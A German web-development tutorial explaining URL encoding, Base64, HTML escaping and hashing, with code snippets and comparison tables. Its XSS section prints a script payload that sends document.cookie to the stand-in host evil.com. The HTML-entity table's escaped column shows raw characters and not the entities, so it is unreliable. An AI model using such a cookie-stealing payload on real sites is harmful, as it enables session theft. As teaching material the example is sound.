In der Softwareentwicklung gehören Datentransformationen zum Programmieralltag: Abfrageparameter für HTTP-Requests aufbereiten, Binärdaten in JSON-Dateien einbetten, Benutzereingaben absichern und Passwörter hashen.

Trotz ihrer weiten Verbreitung werden die Begriffe Encoding (Codierung), Escaping (Maskierung) und Hashing oft verwechselt. Diese Begriffsverwirrung zählt zu den häufigsten Ursachen für Sicherheitslücken wie Cross-Site Scripting (XSS), SQL-Injections und Authentifizierungsfehler.

Wichtige Erkenntnisse

Encoding (Umkehrbar): Ändert das Darstellungsformat von Daten zur verlustfreien Übertragung (z. B. Base64, URL-Percent-Encoding).

Escaping (Kontextabhängig): Weist den Parser an, reservierte Steuerzeichen als literalen Text und nicht als Befehlssyntax zu interpretieren (z. B. HTML-Entities).

Hashing (Einweg-Verfahren): Mathematischer Algorithmus, der beliebige Eingaben in einen irreversiblen Fingerabdruck fixer Länge überführt (z. B. SHA-256).

Encoding ist keine Verschlüsselung: Base64 bietet keinerlei Schutz vor unbefugtem Mitlesen; die Daten lassen sich ohne Schlüssel sofort wiederherstellen.

1. URL-Percent-Encoding: Sichere Übertragung in URIs

Nach RFC 3986 sind Uniform Resource Identifiers (URIs) auf eine definierte Teilmenge des US-ASCII-Zeichensatzes beschränkt. Zeichen außerhalb der unreservierten Gruppe (A-Z, a-z, 0-9, -, _, ., ~) müssen als Prozent-Oktette (%XX) dargestellt werden, wobei XX für den hexadezimalen Bytewert steht.

`encodeURI` im Vergleich zu `encodeURIComponent`

In JavaScript führt die Wahl der falschen Funktion oft zu Übertragungsfehlern:

Eigenschaft	`encodeURI`	`encodeURIComponent`
Einsatzzweck	Komplette URLs inklusive Protokoll, Host und Pfad	Einzelne Parameter oder Werte im Query-String
Maskiert `: / ? # & = +`	Nein (erhält Trennzeichen)	Ja (ersetzt Trennzeichen durch `%XX`)
Beispiel	`encodeURI('https://site.com/search?q=a+b')`	`encodeURIComponent('suche & test')`

// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

Nutzen Sie unseren URL Encoder & Decoder zur Überprüfung Ihrer Parameter.

2. Base64-Codierung: Binärdaten in ASCII-Streams

Base64 (definiert in RFC 4648) repräsentiert Rohdaten mittels 64 druckbarer ASCII-Zeichen: A–Z, a–z, 0–9, + und / (mit = als Füllzeichen).

Die mathematische Funktionsweise

Rechner verarbeiten Daten in 8-Bit-Bytes. Base64 fasst jeweils 24 Bit (3 Bytes) zusammen und teilt sie in 4 Segmente zu je 6 Bit auf ($2^6 = 64$ mögliche Werte).

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

Da für jeweils 3 Eingangs-Bytes 4 Zeichen ausgegeben werden, entsteht ein konstanter Overhead von 33%:

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

Base64 eignet sich ideal zur Einbettung von Icons in Data-URIs. Probieren Sie unseren kostenlosen Base64 Encoder / Decoder aus.

3. HTML-Entity-Escaping: Schutz vor XSS-Angriffen

Beim HTML-Escaping werden Zeichen mit syntaktischer Bedeutung im Dokument durch Text-Entities ersetzt:

Zeichen	Bedeutung in HTML	Maskierte Entity
`<`	Tag-Öffnung	`<`
`>`	Tag-Schließung	`>`
`&`	Entity-Präfix	`&`
`"`	Attribut-Trennzeichen	`"`
`'`	Attribut-Trennzeichen	`'`

Ohne Maskierung ermöglicht ungeprüfter Benutzercode schwere Cross-Site-Scripting-Angriffe (XSS):

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

Prüfen Sie Ihre Maskierungen im HTML Entity Encoder / Decoder.

4. Kryptografisches Hashing: Der Einweg-Fingerabdruck

Im Gegensatz zum Encoding ist Hashing vollständig unumkehrbar. Eine sichere Hashfunktion erfüllt vier elementare Eigenschaften:

Urbildresistenz (Pre-image Resistance): Aus $h$ lässt sich die Eingabe $m$ nicht berechnen.
Zweite Urbildresistenz: Zu $m_1$ kann kein $m_2$ gefunden werden, sodass $H(m_1) = H(m_2)$ gilt.
Kollisionsresistenz: Es ist praktisch unmöglich, zwei beliebige Werte $x \neq y$ mit $H(x) = H(y)$ zu finden.
Lawineneffekt (Avalanche Effect): Die Änderung eines einzigen Bits verändert den gesamten Hashwert grundlegend.

Algorithmen im Vergleich

Algorithmus	Digest-Größe	Kollisionssicherheit	Produktionstauglichkeit
MD5	128 Bit (32 Hex)	Gebrochen (Kollisionen in Sekunden)	Veraltet; nur noch für einfache Prüfsummen
SHA-1	160 Bit (40 Hex)	Gebrochen (SHAttered-Angriff 2017)	Veraltet; Ablösung durch SHA-256
SHA-256	256 Bit (64 Hex)	Kryptografisch sicher	Standard für TLS-Zertifikate und APIs
SHA-512	512 Bit (128 Hex)	Kryptografisch sicher	Hochsicherheitsanwendungen und HMAC

Erzeugen Sie sichere Kennungen mit unserem UUID Generator und Password Generator.

Übersicht: Wann welche Technik nutzen?

Bei Parametern in URLs: URL-Percent-Encoding.
Bei Binärdaten in JSON oder Textdateien: Base64.
Bei Benutzereingaben in Webseiten: HTML-Escaping.
Bei Dateiintegritätsprüfungen: Kryptografisches Hashing.

Häufig gestellte Fragen

Kann Base64 entschlüsselt werden? Base64 ist keine Verschlüsselung, sondern ein Darstellungsformat. Jeder Standarddecoder kann die Originaldaten ohne Schlüssel zurückverwandeln.

Ist SHA-256 zur Speicherung von Passwörtern geeignet? Nein, nicht ohne zusätzliche Härtung. Da Grafikkarten Milliarden SHA-256-Hashes pro Sekunde berechnen können, sollten für Passwörter speicherintensive Algorithmen wie Argon2id oder bcrypt eingesetzt werden.

Warum werden Leerzeichen in URLs teils als %20 und teils als + codiert? In RFC-3986-Pfadabschnitten ist %20 vorgeschrieben. Im älteren Standard application/x-www-form-urlencoded wurden Leerzeichen historisch als + übermittelt.